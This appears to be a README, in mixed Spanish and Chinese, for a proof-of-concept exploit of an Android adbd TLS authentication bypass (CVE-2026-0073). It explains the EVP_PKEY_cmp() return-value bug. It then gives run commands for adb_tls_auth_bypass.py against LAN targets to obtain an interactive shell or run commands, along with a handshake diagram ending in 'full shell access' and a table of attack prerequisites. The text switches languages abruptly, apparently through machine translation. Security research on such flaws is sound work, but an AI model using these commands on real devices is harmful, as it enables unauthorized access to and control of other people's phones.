
CVE-2026-0073-Android-ADBD-bypass-POC versión en chino
EVP_PKEY_cmp() → shell ADB no autorizadoExiste una vulnerabilidad crítica de bypass de autenticación en el daemon ADB (adbd) de Android que permite a cualquier atacante de la red local obtener un shell completo en el dispositivo objetivo sin autorización del usuario.
La vulnerabilidad reside en la función adbd_tls_verify_cert() en el archivo daemon/auth.cpp, donde EVP_PKEY_cmp() se usa como valor booleano. Cuando la clave almacenada es una clave RSA y el certificado TLS del cliente presentado porta una clave no RSA (EC P-256 o Ed25519), EVP_PKEY_cmp() devuelve -1 (desajuste de tipo), lo cual es verdadero en C/C++, por lo que authorized = true.
// daemon/auth.cpp 中的易受攻击代码模式
if (EVP_PKEY_cmp(peer_key, stored_key)) { // ← BUG: -1 是真值!
已授权 = true;
}
pip install cryptography
# 交互式 shell
python adb_tls_auth_bypass.py <TARGET_IP> <PORT>
# 单命令执行
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"
# 详细模式(查看完整协议跟踪)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519
De forma predeterminada, el script intenta automáticamente EC P-256 → Ed25519 → EC/TLS 1.2 hasta que tiene éxito.
攻击者目标(adbd)
│ │
│──── TCP 连接 ──────────────────►│
│──── CNXN(明文)────────────►│
│◄─── STLS(TLS 升级请求)──│
│──── STLS 回复 ──────────────────►│
│ │
│════ TLS 1.3 握手 ════════════│
│(已提交 EC P-256 客户证书)│
│ EVP_PKEY_cmp(EC, RSA) → -1 │
│ -1 为真 → authorized=true │
│════════════════════════════════════│
│ │
│◄─── CNXN(设备信息)──────────│
│──── 打开“shell:” ───────────────►│
│◄─── 好的 ────────────────────────│
│◄──► WRTE/OKAY(shell I/O)──────►│
│ │
【完全 shell 访问权限】
⚠️ Importante: La clave RSA debe ubicarse en el archivo /data/misc/adb/adb_keys, el cual se completa mediante el emparejamiento de depuración por USB (aceptar el diálogo «¿Permitir depuración USB?»). El emparejamiento de depuración inalámbrica (adb pair) almacena las claves en una ubicación diferente (adb_known_hosts.pb), por lo que no cumple este requisito.
adb shell getprop ro.build.version.security_patch
Probado y verificado en el siguiente entorno:
内核:6.1.23-android14-4-00257-g7e35917775b8-ab9964412
平台:Android 14(Android Studio 模拟器)
Este fork incluye las siguientes mejoras:
select() para soporte multiplataforma-v muestra un seguimiento detallado del protocoloCVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py # 主漏洞利用脚本
└── README.md # 此文件
Esta herramienta es solo para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. Asegúrese de obtener la autorización adecuada antes de realizar pruebas. El autor no se hace responsable del mal uso de este software.
EVP_PKEY_cmpSi esta herramienta le resultó útil para su investigación, deje una estrella ⭐
EVP_PKEY_cmp() 返回值 | 含义 | C 语言中的真值? | 结果 |
|---|
1 | Las claves coinciden | ✅ | Autorizado (correcto) |
0 | Las claves difieren | ❌ | Rechazado (correcto) |
-1 | Desajuste de tipo | ✅ | Autorizado (BUG) |
| Requisito | Detalles |
|---|
| Opciones de desarrollador | Habilitadas en el dispositivo objetivo |
| Depuración inalámbrica | Habilitada (o ADB a través del puerto TCP 5555) |
| Clave RSA almacenada | El dispositivo debe haberse emparejado al menos una vez por USB (/data/misc/adb/adb_keys) |
| Acceso de red | El atacante debe tener acceso al puerto TCP de adbd |